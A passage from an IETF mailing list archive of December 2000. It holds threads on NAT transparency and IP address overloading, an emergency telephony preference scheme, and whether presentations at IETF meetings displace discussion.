<200012221523.KAA11220@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: smd@ebone.net (Sean Doran) cc: fred@cisco.com, moore@cs.utk.edu, iab@ISI.EDU, ietf@ietf.org, tytso@MIT.EDU Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Fri, 22 Dec 2000 15:43:48 +0100." <20001222144348.2D024898@sean.ebone.net> Date: Fri, 22 Dec 2000 10:22:31 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > | yeah, I really wish those who are trying to improve network routing > | (an endeavor which I respect in principle) would consider that > | applications really do need stable endpoint identifiers which > | are globally scoped, exchangable with other applications, and > | reliably usable from anywhere to reach the process listening > | to that endpoint. > > Understood, and that was probably never a non-goal. > > The problem about overloading topology and identity is that it's hard > to think about separating the overloaded meanings from one another. this might be in part because there are several different kinds of overloading going on. IP addresses are used as, or as part of: network topology locations, subnet identifiers, network interface identifiers, host identifiers, service identifiers (groups of hosts performing a common service), and connection endpoint identifiers. (and I've probably left out one or two uses). to separate them all would impose far too much overhead. even to separate "host" related things from "network" related things imposes significant overhead both in bandwidth and in maintaining the mappings from one to the other. > Worrying that breakage can happen is perfectly understandable from both the > perspective of someone needing to work with the "where" (topology locator) > and someone needing to work with the "who" (identity name), since > in a large, complicated network, the overloading really can be > a zero-sum game. A proper separation (or initial non-overloaded design), > however, can satisfy both namespace needs. I'm not sure there is such a thing as "proper". overloading of IP address to mean both "host" and "network" was a useful optimization in the days when bandwidth was scarce, links were slow, hosts were stationary, the network didn't change topology often, and the net was small (and thus easier to route). overloading of IP addresses is *still* useful because many of the above conditions still exist, and will continue to exist, for large portions of the network. At the same time the overloading gets in the way in the (increasing number of) cases where some of the above conditions are violated. IMHO what we need to change is the *implicit* association between "host" related identifiers and "network topology" related identifiers - so that coders treat them as separate entities, and provide a way for the two to be different at the IP layer - while still allowing the optimization to take place where it makes sense. then you only need to maintain the mapping for the case where the identifiers are different. I'm still waiting for folks to see this "overloading" as a design compromise rather than a pure evil. not overloading at all would be even more evil. what we need now is a different compromise, rather than a design which is "proper" according to some idealistic principles. > Incidentally, the IRTF's NSRG (http://www.irtf.org/charters/namespace.html) > exists to study this problem, and there are a number of interesting ideas > being developed there that will meet your wishes expressed above. as it happens, I'm in the NSRG. but I also think it's useful to have these issues aired (briefly) on the wider IETF list. Keith From owner-ietf-outbound Fri Dec 22 11:20:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id LAA06515 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 11:20:03 -0500 (EST) Received: from localhost.localdomain ([216.52.68.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA06371 for ; Fri, 22 Dec 2000 11:12:43 -0500 (EST) Received: from ecal.com (localhost [127.0.0.1]) by localhost.localdomain (8.11.0/8.11.0) with ESMTP id eBMGGSF27053 for ; Fri, 22 Dec 2000 11:16:28 -0500 Sender: francis@localhost.localdomain Message-ID: <3A437E5B.E8A628DE@ecal.com> Date: Fri, 22 Dec 2000 11:16:27 -0500 From: John Stracke X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i586) X-Accept-Language: en, de, es MIME-Version: 1.0 To: "'ietf@ietf.org'" Subject: Re: International Emergency Preference Scheme References: <5610E7389363D411995100204804EE5494CEBA@rbmail104.chamb.disa.mil> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit "Folts, Harold" wrote: > > >The first issue of pursuit is to ensure an effective > > interface between the > > >PSTN and IP-telephony services. > > > > this strikes me as a profoundly strange approach, but I may be biased. > > I say the first objective is PSTN/IP-telephony interface because in the US > and other countries there are IEPS capabilities built into existing telecom > services. In addition, there's the simple fact that, in an emergency, you want to be able to use any channel you can get. Suppose you're in the field and have to reach somebody by phone; the phones have gone down in the disaster area, but IP is still up (didn't something like this happen in an earthquake in the Bay Area 5-10 years ago?). VoIP/PSTN integration could be the tool you need. -- /=================================================================\ |John Stracke | http://www.ecal.com |My opinions are my own. | |Chief Scientist |================================================| |eCal Corp. |For the life of me, I've never understood why | |francis@ecal.com|people dismiss the importance of "semantics" in | | |communication. After all, if semantics had no | | |purpleness, you'd slitheringly go bold at by-sit| | |it I'm climbing. -- Tangwystyl | \=================================================================/ From owner-ietf-outbound Fri Dec 22 12:10:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA07419 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 12:10:02 -0500 (EST) Received: from mail.sbs.be (mail.sbs.be [193.210.201.242]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA07388 for ; Fri, 22 Dec 2000 12:09:44 -0500 (EST) Received: from brub100a.siemens.be (brub100a.siemens.be [193.210.175.13]) by mail.sbs.be (8.9.3/8.9.3) with ESMTP id RAA13696 for ; Fri, 22 Dec 2000 17:39:48 +0100 Received: by brub100a.siemens.be with Internet Mail Service (5.5.2653.19) id ; Fri, 22 Dec 2000 16:55:54 +0100 Message-ID: <644F79AD0DB4D111BB5F00A0C92F801101DE39F9@brub100a.siemens.be> From: TOMSON ERIC To: "'ietf@ietf.org'" Subject: NAT etc. Date: Fri, 22 Dec 2000 16:55:48 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" X-Loop: ietf@ietf.org I have a CATV connection at home. I get only 1 dynamic public IP address. However, I have a small internal network (some couple of computers). How can I guarantee a full Internet access to each one of these computers? => By installing W2K A.S. with NAT on a PC having 2 NICs (1 NIC connected to the CATV modem, 1 NIC connected to a switch), allowing a full transparent Internet access to an undetermined number of PC on my private LAN (depending on the range of private addresses I use). A company has a LAN composed of hundreds of computers and wants to give some limited access to the Internet, to its internal network. They subscribe to an ISP and ask for 10 fixed addresses. They install a router and configure it with NAT in such a way that any 10 internal hosts can have concurrent connections to the Net by dynamically getting a temporary map between their internal address and one of the 10 public addresses. As soon as a PC disconnects, its mapped address can be assigned to someone else. * What is the problem using NAT in any of these 2 examples? * Since routers only work on network addresses and not on host addresses, what is the problem - for any routing table - of using NAT in any of these 2 examples (in case 1, only the network ID of the unique official address has to be known by the Net ; in case 2, most probably 1 unique network ID will be used by the 10 official addresses)? By the way, IPv6 brings much more answers than just a solution to the address space (which is not simply 4 times wider - which could be achieved but simply adding 2 bits to the 32 bits of IPv4 - but actually 2*2*2*...[128-32=96 times]...*2 times wider, i.e. 2^96 times wider) : [host, routing and network] autoconfiguration, quality of service, better and more efficient IP headers, security, performance, mobility,... E.T. From owner-ietf-outbound Fri Dec 22 12:30:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA07973 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 12:30:04 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA07670 for ; Fri, 22 Dec 2000 12:20:15 -0500 (EST) Received: from p7020-img-nt.cisco.com (fred-hm-dhcp1.cisco.com [171.69.128.116]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id JAA19315; Fri, 22 Dec 2000 09:19:44 -0800 (PST) Message-Id: <5.0.2.1.2.20001221234755.045afc50@flipper.cisco.com> X-Sender: fred@flipper.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 21 Dec 2000 23:54:29 -0800 To: Harald Alvestrand From: Fred Baker Subject: Re: International Emergency Preference Scheme Cc: "Folts, Harold" , "'ietf@ietf.org'" In-Reply-To: <4.3.2.7.2.20001222071808.05864948@127.0.0.1> References: <5610E7389363D411995100204804EE5494CEB9@rbmail104.chamb.dis a.mil> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 07:21 AM 12/22/00 +0100, Harald Alvestrand wrote: >Reactions I've heard vary from "their ideas are just too broken for words" >to "what they want can be built easily using DiffServ - this should be a >call for tender, not a standardization proposal". What they want is, in essence, to know that all the tools exist so that they can in fact go out to tender with the service providers. They have identified at least one hole in SIP with respect to their requirements. They believe that they need five call placement priorities. H.323 allows them one, and SIP allows them four. There may be other mismatches. The absence of an obvious need for protocol development here is why I have not rushed into opening a working group. I suspect that between IPSEC, SIP, and Diff-serv, we are very close, and feel that work placement should happen after the analysis is in. When we have a significant user community that comes to us asking to discuss their specific requirements, I think the correct response is not to flame them, but to do the analysis and help them become clued in. From owner-ietf-outbound Fri Dec 22 12:40:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA08294 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 12:40:02 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA07680 for ; Fri, 22 Dec 2000 12:20:40 -0500 (EST) Received: from p7020-img-nt.cisco.com (fred-hm-dhcp1.cisco.com [171.69.128.116]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id JAA19321; Fri, 22 Dec 2000 09:19:44 -0800 (PST) Message-Id: <5.0.2.1.2.20001221235504.04525590@flipper.cisco.com> X-Sender: fred@flipper.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 21 Dec 2000 23:59:52 -0800 To: Harald Alvestrand From: Fred Baker Subject: Re: When presentations are a good idea (Re: IETF logistics) Cc: ietf@ietf.org In-Reply-To: <4.3.2.7.2.20001222073435.08594820@127.0.0.1> References: <5.0.2.1.2.20001221145949.03bc6080@joy.songbird.com> <200012210453.eBL4r0CW226090@black-ice.cc.vt.edu> <14911.38185.69675.522594@localhost.localdomain> <5.0.0.25.2.20001219090808.009ef9e0@gnat.inet.org> <5.0.0.25.2.20001219110316.00a83680@schultz.argon.com> <5.0.2.1.2.20001220090714.03b1dec0@joy.songbird.com> <200012210453.eBL4r0CW226090@black-ice.cc.vt.edu> <5.0.2.1.2.20001221145949.03bc6080@joy.songbird.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 07:36 AM 12/22/00 +0100, Harald Alvestrand wrote: >Sometimes presentations are good. If they leave plenty of time to talk >about them. OK, but let's talk about that. Presentations should open and guide discussion: present the issues that need to be hashed out, propose and explain approaches, and generally lead the working group towards useful consensus. If we were handfuls of engineers, we would use white boards to hash out ideas; in groups of 500, you need something you can project to accomplish the same thing. Presentations are that engineer's white board; they should contribute to the discussion, but not replace it. What we unfortunately commonly find is presentations *instead*of* discussion. That's what people are being concerned about and saying is wrong. From owner-ietf-outbound Fri Dec 22 13:30:15 2000 Received: by ietf.org (8.9.1a/8.9.1a) id NAA09979 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 13:30:02 -0500 (EST) Received: from kcmso1.proxy.att.com (kcmso1.att.com [192.128.133.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA09775 for ; Fri, 22 Dec 2000 13:24:53 -0500 (EST) Received: from dns.maillennium.att.com ([135.25.114.99]) by kcmso1.proxy.att.com (AT&T IPNS/MSO-3.0) with ESMTP id eBMIOM519558 for ; Fri, 22 Dec 2000 13:24:23 -0500 (EST) Received: from att.com ([135.197.90.101]) by maillennium.att.com (labmail) with SMTP id <20001222182421099000i7g1e> (Authid: tony@maillennium.att.com); Fri, 22 Dec 2000 18:24:21 +0000 Message-ID: <3A439C72.104314EC@att.com> Date: Fri, 22 Dec 2000 13:24:50 -0500 From: Tony Hansen Organization: AT&T Laboratories X-Mailer: Mozilla 4.76 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: L.Wood@eim.surrey.ac.uk CC: Brian E Carpenter , ietf@ietf.org Subject: Re: IETF logistics References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Before I got my current laptop (which has a LARGE disk) and the advent of ubiquitous wireless support, before each IETF meeting I would burn a CD with a copy of all of the RFCs and internet-drafts. This was extremely useful. Nowadays, I just make a copy of the set on my disk. With either the CD or the copy on my disk, I don't have to worry about being within wireless distance (such as when I'm in my hotel room) to get at them. I'm surprised some enterprising individual or group hasn't offered to burn a few hundred CDs and make them available to people. Seems like it would be a nice sideline for the college group that's usually there selling T-shirts. :-) Tony Hansen tony@att.com Lloyd Wood wrote: > > On Thu, 21 Dec 2000, Brian E Carpenter wrote: > > > In fact, having wireless access to drafts, RFCs and mail archives > > during the discussion is a real productivity tool IMHO. Exchanging > > email about the topic under discussion can be pretty useful too. > > normos makes tarballs of all the drafts and rfcs available prior to a > meet. mailing lists should archive their mails in downloadable text > format. > > You don't need wireless access for this. You just need to do your > homework in advance and download everything you need. > > L. > > has several thousand drafts and rfcs he still hasn't read on his > laptop. > > PGP From owner-ietf-outbound Fri Dec 22 14:20:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA11416 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 14:20:03 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA11167 for ; Fri, 22 Dec 2000 14:14:25 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha1/8.12.0.Alpha1) with ESMTP id eBMJECCW25684; Fri, 22 Dec 2000 14:14:12 -0500 Message-Id: <200012221914.eBMJECCW25684@black-ice.cc.vt.edu> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4+dev To: TOMSON ERIC Cc: "'ietf@ietf.org'" Subject: Re: NAT etc. In-Reply-To: Your message of "Fri, 22 Dec 2000 16:55:48 +0100." <644F79AD0DB4D111BB5F00A0C92F801101DE39F9@brub100a.siemens.be> X-Url: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-2128742016P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Fri, 22 Dec 2000 14:14:12 -0500 X-Loop: ietf@ietf.org --==_Exmh_-2128742016P Content-Type: text/plain; charset=us-ascii On Fri, 22 Dec 2000 16:55:48 +0100, TOMSON ERIC said: > I have a CATV connection at home. I get only 1 dynamic > public IP address. However, I have a small internal network (some > couple of computers). How can I guarantee a full Internet access to > each one of these computers? => By installing W2K A.S. with NAT on a PC > having 2 NICs (1 NIC connected to the CATV modem, 1 NIC connected to a > switch), allowing a full transparent Internet access to an undetermined > number of PC on my private LAN (depending on the range of private > addresses I use). > The problem is that "full transparent" is a crock. There's RFC2993 documenting just some of the things that aren't transparent. Hint 1: Try getting IPsec to run through there, and see how far you get... Hint 2: Try telnet'ing *INTO* one of the boxes behind the NAT from outside. > A company has a LAN composed of hundreds of computers and > wants to give some limited access to the Internet, to its internal > network. They subscribe to an ISP and ask for 10 fixed addresses. They > install a router and configure it with NAT in such a way that any 10 > internal hosts can have concurrent connections to the Net by > dynamically getting a temporary map between their internal address and > one of the 10 public addresses. As soon as a PC disconnects, its mapped > address can be assigned to someone else. > Discussed in detail in RFC2993 (in particular, section 6 talks about the TCP TIME_WAIT state and issues related to it)..., -- Valdis Kletnieks Operating Systems Analyst Virginia Tech --==_Exmh_-2128742016P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 Comment: Exmh version 2.2 06/16/2000 iQA/AwUBOkOoA3At5Vm009ewEQKctwCeLhMNWj3wpPoVfKVKSjKpAF5pBI8AoNxf HncmWcNQgXRxf4S6Ty8w58IM =+460 -----END PGP SIGNATURE----- --==_Exmh_-2128742016P-- From owner-ietf-outbound Fri Dec 22 14:30:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA11707 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 14:30:03 -0500 (EST) Received: from mailhub1.almaden.ibm.com (mailhub1.almaden.ibm.com [198.4.83.44]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA11539 for ; Fri, 22 Dec 2000 14:23:32 -0500 (EST) Received: from maui.almaden.ibm.com (maui.almaden.ibm.com [9.1.24.92]) by mailhub1.almaden.ibm.com (8.8.8/8.8.8) with ESMTP id LAA35582; Fri, 22 Dec 2000 11:17:22 -0800 Received: from hursley.ibm.com (gsine04.us.sine.ibm.com [9.14.6.44]) by maui.almaden.ibm.com (AIX4.3/8.9.3/8.7) with ESMTP id LAA24778; Fri, 22 Dec 2000 11:23:00 -0800 Message-ID: <3A43A9AB.811CC8EA@hursley.ibm.com> Date: Fri, 22 Dec 2000 13:21:15 -0600 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en,fr MIME-Version: 1.0 To: TOMSON ERIC CC: "'ietf@ietf.org'" Subject: Re: NAT etc. References: <644F79AD0DB4D111BB5F00A0C92F801101DE39F9@brub100a.siemens.be> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Eric, The many answers to your questions are in RFC 2993 and in http://www.ietf.org/internet-drafts/draft-ietf-nat-protocol-complications-06.txt (which will soon be an RFC). Brian TOMSON ERIC wrote: > > > > I have a CATV connection at home. I get only 1 dynamic public IP address. However, I have a small internal network (some couple of computers). How can I guarantee a full Internet access to each one of these computers? => By installing W2K A.S. with NAT on a PC having 2 NICs (1 NIC connected to the CATV modem, 1 NIC connected to a switch), allowing a full transparent Internet access to an undetermined number of PC on my private LAN (depending on the range of private addresses I use). > > A company has a LAN composed of hundreds of computers and wants to give some limited access to the Internet, to its internal network. They subscribe to an ISP and ask for 10 fixed addresses. They install a router and configure it with NAT in such a way that any 10 internal hosts can have concurrent connections to the Net by dynamically getting a temporary map between their internal address and one of the 10 public addresses. As soon as a PC disconnects, its mapped address can be assigned to someone else. > > > > > * What is the problem using NAT in any of these 2 examples? > * Since routers only work on network addresses and not on host addresses, what is the problem - for any routing table - of using NAT in any of these 2 examples (in case 1, only the network ID of the unique official address has to be known by the Net ; in case 2, most probably 1 unique network ID will be used by the 10 official addresses)? > > > > By the way, IPv6 brings much more answers than just a solution to the address space (which is not simply 4 times wider - which could be achieved but simply adding 2 bits to the 32 bits of IPv4 - but actually 2*2*2*...[128-32=96 times]...*2 times wider, i.e. 2^96 times wider) : [host, routing and network] autoconfiguration, quality of service, better and more efficient IP headers, security, performance, mobility,... > > > E.T. From owner-ietf-outbound Fri Dec 22 14:40:21 2000 Received: by ietf.org (8.9.1a/8.9.1a) id OAA11942 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 14:40:02 -0500 (EST) Received: from igw8.watson.ibm.com (igw8.watson.ibm.com [198.81.209.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA11609 for ; Fri, 22 Dec 2000 14:27:04 -0500 (EST) Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw8.watson.ibm.com (8.9.3/8.9.3/05-14-1999) with ESMTP id OAA10402; Fri, 22 Dec 2000 14:26:51 -0500 Received: from bubble.watson.ibm.com (bubble.watson.ibm.com [9.2.215.93]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id OAA20406; Fri, 22 Dec 2000 14:26:50 -0500 Received: (from prasad@localhost) by bubble.watson.ibm.com (8.9.3/8.9.3/04/21/2000) id OAA24068; Fri, 22 Dec 2000 14:26:50 -0500 Date: Fri, 22 Dec 2000 14:26:50 -0500 From: V Guruprasad To: Keith Moore Cc: Sean Doran , fred@cisco.com, iab@ISI.EDU, ietf@ietf.org, tytso@MIT.EDU Subject: Re: NATs *ARE* evil! Message-ID: <20001222142650.A24039@bubble.watson.ibm.com> References: <20001222144348.2D024898@sean.ebone.net> <200012221523.KAA11220@astro.cs.utk.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200012221523.KAA11220@astro.cs.utk.edu>; from moore@cs.utk.edu on Fri, Dec 22, 2000 at 10:22:31 -0500 X-Loop: ietf@ietf.org > IMHO what we need to change is the *implicit* association between > "host" related identifiers and "network topology" related identifiers - > so that coders treat them as separate entities, and provide a way > for the two to be different at the IP layer - while still allowing > the optimization to take place where it makes sense. then you > only need to maintain the mapping for the case where the identifiers > are different. > > I'm still waiting for folks to see this "overloading" as a design compromise A fundamentally different approach that does achieve this separation is described in draft-guruprasad-addressless-internet-00.txt. > rather than a pure evil. not overloading at all would be even more evil. You don't have adequate grounds for the second statement unless you can formally establish that you have considered all *possible* alternative architectures. In other words, experiences with Nimrod or early-day relative addressing, or with UUCP, ATM, SNA, etc, cannot be adequate foundation. That also excludes potential knocking down of my I-D, but you evidently haven't read it anyway. > as it happens, I'm in the NSRG. but I also think it's useful to have these Especially where we need to be more careful in positing opinions, lest we prematurely block out good solutions because of such prejudices and shun away "newbies" proposing them (to borrow from another thread!). One might recall that astronomers had a similar complexity problem with the celestial routing of planets at one time, and the solution, taken for granted today (but not taught in all schools!), contradicted most educated and carefully conservative opinions. I submit a more open attitude might be healthier for the Internet and my I-D :-) -p. From owner-ietf-outbound Fri Dec 22 15:00:17 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA12360 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 15:00:02 -0500 (EST) Received: from tsx-prime.MIT.EDU (TSX-PRIME.MIT.EDU [18.86.0.76]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA12007 for ; Fri, 22 Dec 2000 14:41:46 -0500 (EST) Received: by tsx-prime.MIT.EDU with sendmail-SMI-8.6/1.2, id OAA02433; Fri, 22 Dec 2000 14:41:32 -0500 Date: Fri, 22 Dec 2000 14:41:32 -0500 Message-Id: <200012221941.OAA02433@tsx-prime.MIT.EDU> From: "Theodore Y. Ts'o" To: John C Klensin CC: Melinda Shore , ietf@ietf.org In-reply-to: John C Klensin's message of Fri, 22 Dec 2000 09:21:32 -0500, <2519315868.977476892@P2> Subject: Re: IETF logistics Phone: (781) 391-3464 X-Loop: ietf@ietf.org Date: Fri, 22 Dec 2000 09:21:32 -0500 From: John C Klensin On the other hand, there is probably an interaction between "presentations" and in-meeting personal activities that are not WG-constructive (game-playing being only an extreme point). I hope this isn't giving away any dirty little secrets, but, given a slow-moving marketing-oriented presentation of material that has already been discussed in I-Ds and on mailing lists, some people will react by starting to scan email while waiting for something useful to happen. And many of those people will distinctly not be newcomers or quiet lurkers. I'm guilty of it, and assume others are too. I'm reminded of the time during the Secure Time BOF when the speaker was droning on and on, so I pulled out the laptop and fired up the emacs, and started doing some hacking. Someone (I think it was Barbara, but I'm not sure) looked over, noticed the make running, and asked me how I could concentrate well enough to be doing development work during a presentation. I answered, "low bit rate", whereupon she looked again at the slides, and said, "I guess you're right." I tend to rate presentations by categories. There are the ones which requre my full attention. Then there are ones where I can read e-mail and keep an ear cocked for something interesting (whereupon I'll stop reading e-mail and give them my full attention). And then.... there are the presentations where I start doing kernel hacking. :-) - Ted From owner-ietf-outbound Fri Dec 22 15:10:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA12661 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 15:10:03 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA12275 for ; Fri, 22 Dec 2000 14:55:51 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id OAA13772; Fri, 22 Dec 2000 14:55:42 -0500 (EST) Message-Id: <200012221955.OAA13772@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: V Guruprasad cc: Keith Moore , Sean Doran , fred@cisco.com, iab@ISI.EDU, ietf@ietf.org, tytso@MIT.EDU Subject: Re: NATs *ARE* evil! In-reply-to: Your message of "Fri, 22 Dec 2000 14:26:50 EST." <20001222142650.A24039@bubble.watson.ibm.com> Date: Fri, 22 Dec 2000 14:54:27 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > > IMHO what we need to change is the *implicit* association between > > "host" related identifiers and "network topology" related identifiers - > > so that coders treat them as separate entities, and provide a way > > for the two to be different at the IP layer - while still allowing > > the optimization to take place where it makes sense. then you > > only need to maintain the mapping for the case where the identifiers > > are different. > > > > I'm still waiting for folks to see this "overloading" as a design compromise > > A fundamentally different approach that does achieve this separation > is described in draft-guruprasad-addressless-internet-00.txt. thank you, I think you've advertised this draft quite adequately for the time being. I'm quite willing to look at it, but there are numerous other drafts that are also on my list. > > rather than a pure evil. not overloading at all would be even more evil. > > You don't have adequate grounds for the second statement unless you can > formally establish that you have considered all *possible* alternative > architectures. I was referring to the set of identifiers I mentioned in my earlier message, all of which are IP addresses, or contain IP addresses, in the current Internet architecture. And no, I don't have to consider every possible alternative architecture to conclude that (a) most or all of these identifiers are necessary, and (b) reserving space for each one separately, and maintaining all of the mappings between them, would be onerous. Keith From owner-ietf-outbound Fri Dec 22 15:20:29 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA13222 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 15:20:05 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA12380 for ; Fri, 22 Dec 2000 15:00:50 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id PAA13906; Fri, 22 Dec 2000 15:00:47 -0500 (EST) Message-Id: <200012222000.PAA13906@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: "Robert G. Ferrell" cc: ietf@ietf.org Subject: Re: Welcoming newcomers In-reply-to: Your message of "Fri, 22 Dec 2000 09:15:44 CST." <200012221515.JAA03930@rgfsparc.cr.usgs.gov> Date: Fri, 22 Dec 2000 14:59:32 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > Just look through the archives > and you'll see that every so often someone (usually but not > always from 'outside') will pop up in public > and claim that the IETF is run solely by and for the benefit > of large corporations. It isn't a particularly difficult > argument to counter, but the damage to the organization's > image is still there. not much we can do about it, I'm afraid. part of the price of being successful is having envious folks take pot shots at you. the fact that their arguments are vacuous doesn't keep them from trying, and occasionally, doing some damage. Keith From owner-ietf-outbound Fri Dec 22 15:30:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA13658 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 15:30:03 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA12471 for ; Fri, 22 Dec 2000 15:05:20 -0500 (EST) Received: from astro.cs.utk.edu (astro.cs.utk.edu [128.169.93.168]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id PAA13976; Fri, 22 Dec 2000 15:05:08 -0500 (EST) Message-Id: <200012222005.PAA13976@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Fred Baker cc: Harald Alvestrand , ietf@ietf.org Subject: Re: When presentations are a good idea (Re: IETF logistics) In-reply-to: Your message of "Thu, 21 Dec 2000 23:59:52 PST." <5.0.2.1.2.20001221235504.04525590@flipper.cisco.com> Date: Fri, 22 Dec 2000 15:03:53 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org > What we unfortunately commonly find is presentations *instead*of* > discussion. That's what people are being concerned about and saying is wrong. right. and as tools for facilitating discussion, both brief presentations and PowerPoint can be quite useful. simple-sounding rules like "no presentations" or "no powerpoint" won't solve the problem. we actually need to consider whether our presentations are facilitating discussion. and this requires additional effort on the part of (already overworked) speakers and WG chairs. Keith From owner-ietf-outbound Fri Dec 22 15:40:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA14117 for ietf-outbound.10@ietf.org; Fri, 22 Dec 2000 15:40:04 -0500 (EST) Received: from igw8.watson.ibm.com (igw8.watson.ibm.com [198.81.209.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA13355 for ; Fri, 22 Dec 2000 15:22:39 -0500 (EST) Received: from sp1n189at0.watson.ibm.com (sp1n189at0.watson.ibm.com [9.2.104.62]) by igw8.watson.ibm.com (8.9.3/8.9.3/05-14-1999) with ESMTP id PAA05112; Fri, 22 Dec 2000 15:22:28 -0500 Received: from bubble.watson.ibm.com (bubble.watson.ibm.com [9.2.215.93]) by sp1n189at0.watson.ibm.com (8.9.3/Feb-20-98) with ESMTP id PAA16014; Fri, 22 Dec 2000 15:22:27 -0500 Received: (from prasad@localhost) by bubble.watson.ibm.com (8.9.3/8.9.3/04/21/2000) id PAA24152; Fri, 22 Dec 2000 15:22:26 -0500 Date: Fri, 22 Dec 2000 15:21:31 -0500 From: V Guruprasad To: Keith Moore Cc: Sean Doran , fred@cisco.com, iab@ISI.EDU, ietf@ietf.org, tytso@MIT.EDU Subject: Re: NATs *ARE* evil! Message-ID: <20001222152131.A24137@bubble.watson.ibm.com> References: <20001222142650.A24039@bubble.watson.ibm.com> 